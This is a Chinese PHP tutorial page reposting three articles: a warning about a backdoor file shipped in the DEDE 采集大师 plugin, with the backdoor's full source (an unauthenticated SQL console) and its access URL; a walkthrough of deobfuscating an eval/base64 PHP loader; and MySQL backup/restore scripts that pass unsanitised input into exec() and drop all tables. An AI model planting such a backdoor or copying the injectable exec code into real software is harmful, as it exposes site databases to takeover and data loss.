当前位置:  编程技术>php
本页文章导读:
    ▪DEDE采集大师官方留后门的删除办法       去除官方后门方法:安装好采集大师后,请立即删除 include目录下的dedesql.query.php文件,如已经安装过,有可能文件已被改名为arc.sqlquery.class.php,找到并删除即可。此文件可被利用来在无需.........
    ▪php !function_exists("T7FC56270E7A70FA81A5935B72EACBE29"))代码解密       代码如下: < ?php if (!function_exists("T7FC56270E7A70FA81A5935B72EACBE29")) { function T7FC56270E7A70FA81A5935B72EACBE29($TF186217753C37B9B9F958D906208506E) { $TF186217753C37B9B9F958D906208506E = base64_decode($TF186217753C37B9B9F958D90620850.........
    ▪PHP备份/还原MySQL数据库的代码       以下是代码: 一、备份数据库并下载到本地【db_backup.php】 代码如下: <?php // 设置SQL文件保存文件名 $filename=date("Y-m-d_H-i-s")."-".$cfg_dbname.".sql"; // 所保存的文件名 header("Content-disposition:filena.........

[1]DEDE采集大师官方留后门的删除办法
    来源: 互联网  发布时间: 2013-11-30
去除官方后门方法:安装好采集大师后,请立即删除 include目录下的dedesql.query.php文件,如已经安装过,有可能文件已被改名为arc.sqlquery.class.php,找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站数据库,并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说,方法:
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输入以上网址,即可打开后门界面。
说实话,会故意留后门的程序,最好的方法就是别用。这个后门被发现了,天知道下一个所谓的新版本还会不会冒出更多的后门来。此后门文件代码如下:
代码如下:

<?php
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename('dedesql.query.php','arc.sqlquery.class.php')){
echo "成功!";
}else{
echo "失败!";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名!";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute('me');
$row2 = $dsql->GetArray('me',MYSQL_BOTH);
$ctinfo = $row2[1];
echo "<xmp>".trim($ctinfo)."</xmp>";
}
exit();
}
if($dopost=="index")
{
require_once(DEDEINC.'/arc.partview.class.php');
$envs = $_sys_globals = array();
$envs['aid'] = 0;
$pv = new PartView();
$row = $pv->dsql->GetOne('Select * From `#@__homepageset`');
$templet = str_replace("{style}",$cfg_df_style,$row['templet']);
$homeFile = dirname(__FILE__).'/'.$row['position'];
$homeFile = str_replace("//","/",str_replace("\\","/",$homeFile));
$fp = fopen($homeFile,'w') or die("无法更新网站主页到:$homeFile 位置");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "成功更新首页!";
exit();
}
else if($dopost=="query")
{
$sqlquery = trim(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery))
{
echo "<span >删除'数据表'或'数据库'的语句不允许在这里执行。</span>";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "运行SQL:{$sqlquery},无返回记录!";
}
else
{
echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j>100)
{
break;
}
echo "<hr size=1 width='100%'/>";
echo "记录:$j";
echo "<hr size=1 width='100%'/>";
foreach($row as $k=>$v)
{
echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
}
}
exit();
}
if($querytype==2)
{
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = split(";[ \t]{0,}\n",$sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
}
}
echo "成功执行{$i}个SQL语句!<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功执行1个SQL语句!<br><br>";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo '<html>
<head>
<meta http-equiv=\'Content-Type\' content=\'text/html; charset=gb2312\'>
<title>SQL命令行工具</title>
<link href=/index.html'img/base.css\' rel=\'stylesheet\' type=\'text/css\'>
</head>
<body background=\'img/allbg.gif\' leftmargin=\'8\' topmargin=\'8\'>
<table width="98%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#D1DDAA">
<tr>
<td height="19" background="img/tbg.gif">
<table width="96%" border="0" cellspacing="1" cellpadding="1">
<tr>
<td width="24%"><strong>SQL命令运行器:</strong></td>
<td width="76%" align="right"> <b><a href="/blog_article/sys_data.html"><u>数据备份</u></a></b>
| <b><a href="/blog_article/sys_data_revert.html"><strong><u>数据还原</u></strong></a></b>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td height="200" bgcolor="#FFFFFF" valign="top">
<table width="100%" border="0" cellspacing="4" cellpadding="2">
<form action="" method="post" name="infoform" target="stafrm">
<input type=\'hidden\' name=\'dopost\' value=\'viewinfo\' />
<tr bgcolor="#F3FBEC">
<td width="15%" height="24" align="center">系统的表信息:</td>
<td>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="35%">
<select name="tablename" id="tablename" size="6">
';
$dsql->SetQuery("Show Tables");
$dsql->Execute('t');
while($row = $dsql->GetArray('t',MYSQL_BOTH))
{
$dsql->SetQuery("Select count(*) From ".$row[0]);
$dsql->Execute('n');
$row2 = $dsql->GetArray('n',MYSQL_BOTH);
$dd = $row2[0];
echo " <option value='".$row[0]."'>".$row[0]."(".$dd.")</option>\r\n";
}
;echo ' </select>
</td>
<td width="2%"> </td>
<td width="63%" valign="bottom">
<div >
<input type="Submit" name="Submit1" value="优化选中表" onClick="this.form.dopost.value=\'opimize\';" />
<br />
<input type="Submit" name="Submit2" value="修复选中表" onClick="this.form.dopost.value=\'repair\';" />
<br />
<input type="Submit" name="Submit3" value="查看表结构" onClick="this.form.dopost.value=\'viewinfo\';" />
</div>
<div >
<input type="Submit" name="Submit5" value="优化全部表" onClick="this.form.dopost.value=\'opimizeAll\';" />
<br />
<input type="Submit" name="Submit6" value="修复全部表" onClick="this.form.dopost.value=\'repairAll\';" />
</div>
</td>
</tr>
</table></td>
</tr>
<tr>
<td height="200" align="center">返回信息:</td>
<td>
<iframe name="stafrm" frameborder="0" id="stafrm" width="100%" height="100%"></iframe>
</td>
</tr>
</form>
<form action="" method="post" name="form1" target="stafrm">
<input type=\'hidden\' name=\'dopost\' value=\'query\'>
<tr>
<td height="24" colspan="2" bgcolor="#F3FBEC"><strong>运行SQL命令行:
<input name="querytype" type="radio" value="0">
单行命令(支持简单查询)
<input name="querytype" type="radio" value="2" checked>
多行命令</strong></td>
</tr>
<tr>
<td height="118" colspan="2">
<textarea name="sqlquery" cols="60" rows="10" id="sqlquery" ></textarea>
</td>
</tr>
<tr>
<td height="53" align="center"> </td>
<td>
<input name="imageField" type="image" src="/blog_article/img/button_ok.gif" width="60" height="22" border="0" np\' />
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</body>
</html>
';}
?>

    
[2]php !function_exists("T7FC56270E7A70FA81A5935B72EACBE29"))代码解密
    来源: 互联网  发布时间: 2013-11-30
代码如下:

< ?php if (!function_exists("T7FC56270E7A70FA81A5935B72EACBE29")) { function T7FC56270E7A70FA81A5935B72EACBE29($TF186217753C37B9B9F958D906208506E) { $TF186217753C37B9B9F958D906208506E = base64_decode($TF186217753C37B9B9F958D906208506E); $T7FC56270E7A70FA81A5935B72EACBE29 = 0; $T9D5ED678FE57BCCA610140957AFAB571 = 0; $T0D61F8370CAD1D412F80B84D143E1257 = 0; $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[1]) << 8) + ord($TF186217753C37B9B9F958D906208506E[2]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA = 3; $T800618943025315F869E4E1F09471012 = 0; $TDFCF28D0734569A6A693BC8194DE62BF = 16; $TC1D9F50F86825A1A2302EC2449C17196 = ""; $TDD7536794B63BF90ECCFD37F9B147D7F = strlen($TF186217753C37B9B9F958D906208506E); $TFF44570ACA8241914870AFBC310CDB85 = __FILE__; $TFF44570ACA8241914870AFBC310CDB85 = file_get_contents($TFF44570ACA8241914870AFBC310CDB85); $TA5F3C6A11B03839D46AF9FB43C97C188 = 0; preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $TFF44570ACA8241914870AFBC310CDB85, $TA5F3C6A11B03839D46AF9FB43C97C188); for (;$T3A3EA00CFC35332CEDF6E5E9A32E94DA<$TDD7536794B63BF90ECCFD37F9B147D7F;) { if (count($TA5F3C6A11B03839D46AF9FB43C97C188)) exit; if ($TDFCF28D0734569A6A693BC8194DE62BF == 0) { $TF623E75AF30E62BBD73D6DF5B50BB7B5 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $TF623E75AF30E62BBD73D6DF5B50BB7B5 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]); $TDFCF28D0734569A6A693BC8194DE62BF = 16; } if ($TF623E75AF30E62BBD73D6DF5B50BB7B5 & 0x8000) { $T7FC56270E7A70FA81A5935B72EACBE29 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 4); $T7FC56270E7A70FA81A5935B72EACBE29 += (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]) >> 4); if ($T7FC56270E7A70FA81A5935B72EACBE29) { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) & 0x0F) + 3; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $T0D61F8370CAD1D412F80B84D143E1257++) $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257] = $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012-$T7FC56270E7A70FA81A5935B72EACBE29+$T0D61F8370CAD1D412F80B84D143E1257]; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } else { $T9D5ED678FE57BCCA610140957AFAB571 = (ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) << 8); $T9D5ED678FE57BCCA610140957AFAB571 += ord($TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]) + 16; for ($T0D61F8370CAD1D412F80B84D143E1257 = 0; $T0D61F8370CAD1D412F80B84D143E1257 < $T9D5ED678FE57BCCA610140957AFAB571; $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012+$T0D61F8370CAD1D412F80B84D143E1257++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA]); $T3A3EA00CFC35332CEDF6E5E9A32E94DA++; $T800618943025315F869E4E1F09471012 += $T9D5ED678FE57BCCA610140957AFAB571; } } else $TC1D9F50F86825A1A2302EC2449C17196[$T800618943025315F869E4E1F09471012++] = $TF186217753C37B9B9F958D906208506E[$T3A3EA00CFC35332CEDF6E5E9A32E94DA++]; $TF623E75AF30E62BBD73D6DF5B50BB7B5 <<= 1; $TDFCF28D0734569A6A693BC8194DE62BF--; if ($T3A3EA00CFC35332CEDF6E5E9A32E94DA == $TDD7536794B63BF90ECCFD37F9B147D7F) { $TFF44570ACA8241914870AFBC310CDB85 = implode("", $TC1D9F50F86825A1A2302EC2449C17196); $TFF44570ACA8241914870AFBC310CDB85 = "?".">".$TFF44570ACA8241914870AFBC310CDB85."< "."?"; return $TFF44570ACA8241914870AFBC310CDB85; } } } } eval(T7FC56270E7A70FA81A5935B72EACBE29("一大堆貌似base64_encode后的代码")); ?>

直接将eval替换成echo,结果页面为空白!真郁闷,这招可是百发百中的啊,今天遇到了高人写的代码。。。

慢慢替换,将长变量替换成短的,增强代码可读性。
代码如下:

< ?php
if (!function_exists("bear01″))
{
function bear01($bear02)
{
$bear02 = base64_decode($bear02);
$bear01 = 0;
$bear03 = 0;
$bear04 = 0;
$bear05 = (ord($bear02[1]) < < 8) + ord($bear02[2]);
$bear06 = 3;
$bear07 = 0;
$bear08 = 16;
$bear09 = "";
$bear10 = strlen($bear02);
$bear11 = __FILE__;
$bear11 = file_get_contents($bear11);
$bear12 = 0;
preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $bear11, $bear12); ///(print|sprint|echo)/
for (;$bear06< $bear10;)
{
if (count($bear12)) exit;
if ($bear08 == 0)
{
$bear05 = (ord($bear02[$bear06++]) < < 8);
$bear05 += ord($bear02[$bear06++]);
$bear08 = 16;
}
if ($bear05 & 0×8000)
{
$bear01 = (ord($bear02[$bear06++]) < < 4);
$bear01 += (ord($bear02[$bear06]) >> 4);
if ($bear01)
{
$bear03 = (ord($bear02[$bear06++]) & 0x0F) + 3;
for ($bear04 = 0; $bear04 < $bear03; $bear04++)
$bear09[$bear07+$bear04] = $bear09[$bear07-$bear01+$bear04];
$bear07 += $bear03;
}
else
{
$bear03 = (ord($bear02[$bear06++]) < < 8);
$bear03 += ord($bear02[$bear06++]) + 16;
for ($bear04 = 0; $bear04 < $bear03; $bear09[$bear07+$bear04++] = $bear02[$bear06]);
$bear06++; $bear07 += $bear03;
}
}
else
$bear09[$bear07++] = $bear02[$bear06++];
$bear05 < <= 1;
$bear08–;
if ($bear06 == $bear10)
{
$bear11 = implode("", $bear09);
$bear11 = "?".">".$bear11."< "."?";
return $bear11;
}
}
}
}
eval(bear01("一大堆貌似base64_encode后的代码")); ?>

其中
preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv"), $bear11, $bear12);

显得格外扎眼 ,decode出来就是
/(print|sprint|echo)/
哈哈,echo就在里面,将
/(print|sprint)/
base64_encode一下然后替换,eval替换成echo输出,被隐藏的代码终于重见天日。
其实简单的就是分三步即可:
第一步:搜索preg_match(base64_decode("LyhwcmludHxzcHJpbnR8ZWNobykv")替换为:preg_match(base64_decode("LyhwcmludHxzcHJpbnQpLw==")即可
第二步:将eval(T7FC56270E7A70FA81A5935B72EACBE29字符串中的下面的eval替换为echo或print即可
第三步:然后查看源文件即可看到php代码(右键-查看源文件)。

    
[3]PHP备份/还原MySQL数据库的代码
    来源: 互联网  发布时间: 2013-11-30
以下是代码:

一、备份数据库并下载到本地【db_backup.php】
代码如下:

<?php
// 设置SQL文件保存文件名
$filename=date("Y-m-d_H-i-s")."-".$cfg_dbname.".sql";
// 所保存的文件名
header("Content-disposition:filename=".$filename);
header("Content-type:application/octetstream");
header("Pragma:no-cache");
header("Expires:0");
// 获取当前页面文件路径,SQL文件就导出到此文件夹内
$tmpFile = (dirname(__FILE__))."\\".$filename;
// 用MySQLDump命令导出数据库
exec("mysqldump -u$cfg_dbuser -p$cfg_dbpwd --default-character-set=utf8 $cfg_dbname > ".$tmpFile);
$file = fopen($tmpFile, "r"); // 打开文件
echo fread($file,filesize($tmpFile));
fclose($file);
exit;
?>

二、还原数据库【db_restore.php】
代码如下:

<form id="form1" name="form1" method="post" action="">
【数据库SQL文件】:<input id="sqlFile" name="sqlFile" type="file" />
<input id="submit" name="submit" type="submit" value="还原" />
</form>
<?php
// 我的数据库信息都存放到config.php文件中,所以加载此文件,如果你的不是存放到该文件中,注释此行即可;
require_once((dirname(__FILE__).'/../../include/config.php'));
if ( isset ( $_POST['sqlFile'] ) )
{
$file_name = $_POST['sqlFile']; //要导入的SQL文件名
$dbhost = $cfg_dbhost; //数据库主机名
$dbuser = $cfg_dbuser; //数据库用户名
$dbpass = $cfg_dbpwd; //数据库密码
$dbname = $cfg_dbname; //数据库名

set_time_limit(0); //设置超时时间为0,表示一直执行。当php在safe mode模式下无效,此时可能会导致导入超时,此时需要分段导入
$fp = @fopen($file_name, "r") or die("不能打开SQL文件 $file_name");//打开文件
mysql_connect($dbhost, $dbuser, $dbpass) or die("不能连接数据库 $dbhost");//连接数据库
mysql_select_db($dbname) or die ("不能打开数据库 $dbname");//打开数据库

echo "<p>正在清空数据库,请稍等....<br>";
$result = mysql_query("SHOW tables");
while ($currow=mysql_fetch_array($result))
{
mysql_query("drop TABLE IF EXISTS $currow[0]");
echo "清空数据表【".$currow[0]."】成功!<br>";
}
echo "<br>恭喜你清理MYSQL成功<br>";

echo "正在执行导入数据库操作<br>";
// 导入数据库的MySQL命令
exec("mysql -u$cfg_dbuser -p$cfg_dbpwd $cfg_dbname < ".$file_name);
echo "<br>导入完成!";
mysql_close();
}
?>

    
最新技术文章:
▪PHP函数microtime()时间戳的定义与用法
▪PHP单一入口之apache配置内容
▪PHP数组排序方法总结(收藏)
▪php数组排序方法大全(脚本学堂整理奉献)
▪php数组排序的几个函数(附实例)
▪php二维数组排序(实例)
▪php根据键值对二维数组排序的小例子
▪php验证码(附截图)
▪php数组长度的获取方法(三个实例)
▪php获取数组长度的方法举例
▪判断php数组维度(php数组长度)的方法
▪php获取图片的exif信息的示例代码
▪PHP 数组key长度对性能的影响实例分析
▪php函数指定默认值的方法示例
▪php提交表单到当前页面、提交表单后页面重定...
▪php四舍五入的三种实现方法
▪php获得数组长度(元素个数)的方法
▪php日期函数的简单示例代码
▪php数学函数的简单示例代码
▪php字符串函数的简单示例代码
▪php文件下载代码(多浏览器兼容、支持中文文...
▪php实现文件下载、支持中文文件名的示例代码...
▪php文件下载(防止中文文件名乱码)的示例代码
▪解决PHP文件下载时中文文件名乱码的问题
▪php数组去重(一维、二维数组去重)的简单示例
▪php小数点后取两位的三种实现方法
▪php Redis 队列服务的简单示例
▪PHP导出excel时数字变为科学计数的解决方法
▪PHP数组根据值获取Key的简单示例
▪php数组去重的函数代码示例
 


站内导航:


特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

©2012-2021,,E-mail:www_#163.com(请将#改为@)

浙ICP备11055608号-3